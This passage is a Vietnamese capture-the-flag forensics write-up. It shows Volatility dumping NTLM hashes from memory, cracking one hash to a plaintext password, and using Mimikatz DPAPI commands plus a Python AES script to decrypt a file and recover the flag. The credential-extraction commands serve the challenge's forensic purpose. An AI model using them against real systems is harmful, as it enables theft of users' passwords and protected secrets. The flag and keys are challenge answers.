### Extract mật khẩu từ bộ nhớ
Để khôi phục mật khẩu đã dùng cho giải mã DPAPI, ta cần extract nó trực tiếp từ bộ nhớ. Điều này rất hữu ích khi người dùng đã log in và credential của họ vẫn được lưu trong bộ nhớ
Ta sẽ dùng plugin `windows.hashdump` của Volatility 3 để extract hash của mật khẩu, từ đó dùng tool như Hashcat hay John the Ripper để crack ra plaintext
Plugin `hashdump` hoạt động bằng cách
- Nhắm vào cơ sở dữ liệu của`SAM` (Security Account Manager) đã load trong bộ nhớ
- Extract
- Username
- RID (Relative Indentifier)
- LM hash (thường bị disable trong các hệ thông hiện đại)
- NTLM hash (sử dụng cho xác thực mật khẩu)
RID là đoạn cuối của SID và cho biết đó là user nào
`S-1-5-21-2532670039-4151104164-2696135040-1001`
Trong đó
- `S-1-5-21-2532670039-4151104164-2696135040` xác định máy hoặc domain
- `1001` là RID, xác định người dùng cụ thể, trong trường hợp này là `abdelrhman322`
Một số RID phổ biến
- 500: Admin
- 501: Tài khoản guest
- 1001+: Tài khoản thường
### Extract NTML hash

Đã có được các hash ở bên dưới, theo thứ tự là Username, RID, LM Hash và NTLM Hash
### Crack NTML Hash
Để crack hash của abdelrhman322 thì dùng [crackstation](https://crackstation.net/)

Như vậy có mật khẩu là `5563756`
### Extract DPAPI Master Key với Mimikatz
Sau đó dùng mimikatz có như sau
```bash
mimikatz # dpapi::masterkey /in:"C:\Users\Quan\Downloads\ForensicTasks\BreadcrumbNCKH\Protect\S-1-5-21-2532670039-4151104164-2696135040-1001\4dc3472c-8370-4831-9124-f45a6d742757" /sid:S-1-5-21-2532670039-4151104164-2696135040-1001 /password:5563756
...
[masterkey] with password: 5563756 (normal user)
key : e0485275a4cc2497878280660141afd34065a22a9eb01f347a26d37e4de3944227d0711262c8a1ee99a655232052a395cac97daa00e0acbf815ea86a3f5aedd2
sha1: 06e25d82fd8c0eab4104b47e176c3b8398786f4a
```
### Giải mã encrypted.bin với master key
Tiếp tục giải mã `encrypted.bin` với masterkey đó
```bash
mimikatz # dpapi::blob /in:"C:\Users\Quan\Downloads\ForensicTasks\BreadcrumbNCKH\encrypted.bin" /masterkey:e0485275a4cc2497878280660141afd34065a22a9eb01f347a26d37e4de3944227d0711262c8a1ee99a655232052a395cac97daa00e0acbf815ea86a3f5aedd2
**BLOB**
dwVersion : 00000001 - 1
guidProvider : {df9d8cd0-1501-11d1-8c7a-00c04fc297eb}
dwMasterKeyVersion : 00000001 - 1
guidMasterKey : {4dc3472c-8370-4831-9124-f45a6d742757}
dwFlags : 00000000 - 0 ()
dwDescriptionLen : 00000002 - 2
szDescription :
algCrypt : 00006610 - 26128 (CALG_AES_256)
dwAlgCryptLen : 00000100 - 256
dwSaltLen : 00000020 - 32
pbSalt : b294a0817a260c11410984020c614f6e8a16aed3fc2746432f57fd2efba023b9
dwHmacKeyLen : 00000000 - 0
pbHmackKey :
algHash : 0000800e - 32782 (CALG_SHA_512)
dwAlgHashLen : 00000200 - 512
dwHmac2KeyLen : 00000020 - 32
pbHmack2Key : aa967b46ecf2788004467c183f1032bc72fcdc6fab914287446b562b239672b9
dwDataLen : 00000020 - 32
pbData : b84520d25631e0b2f38927cf6c778b0189c3167522f7eeac93d0d3081d1b0050
dwSignLen : 00000040 - 64
pbSign : 605d87ec9090ef8a90a4688cbac24686f2e3dd2dc6c8a8f4f7d0889734dc8e0a8758be8c3d4ec43be341ab01252c99ac811db8f771ac12b0829f904f5876a393
* volatile cache: GUID:{4dc3472c-8370-4831-9124-f45a6d742757};KeyHash:06e25d82fd8c0eab4104b47e176c3b8398786f4a;Key:available
* masterkey : e0485275a4cc2497878280660141afd34065a22a9eb01f347a26d37e4de3944227d0711262c8a1ee99a655232052a395cac97daa00e0acbf815ea86a3f5aedd2
description :
data: 6d 79 5f 73 75 70 65 72 5f 73 65 63 72 65 74 5f
```
### Giải mã payload
Sau khi lấy được AES key, có thể giải mã `encrypted.bin`. Sử dụng script python sau để giải mã sử dụng AES-CBC mode
```python=
from Crypto.Cipher import AES
key = bytes.fromhex("6d795f73757065725f7365637265745f")
iv = b"1234567891011123"
ciphertext = bytes.fromhex("6b4781995cf5e4e02c2625b3d1ac6389dbaf68fb5649a3c24ede19465f470412")
cipher = AES.new(key, AES.MODE_CBC, iv)
decrypted_data = cipher.decrypt(ciphertext)
print(decrypted_data)
```
Sau khi chạy script thì ra part cuối của flag

`is_where_the_challenge_begins}`
Như vậy, ghép cả 3 part lại ta có được flag cuối cùng
```
FLAG: L3AK{AV_evasion_is_easy_Mastering_forensics_is_where_the_challenge_begins}
```
> Tham khảo từ: `https://abdelrahme.github.io/posts/L3akCTF-2025/`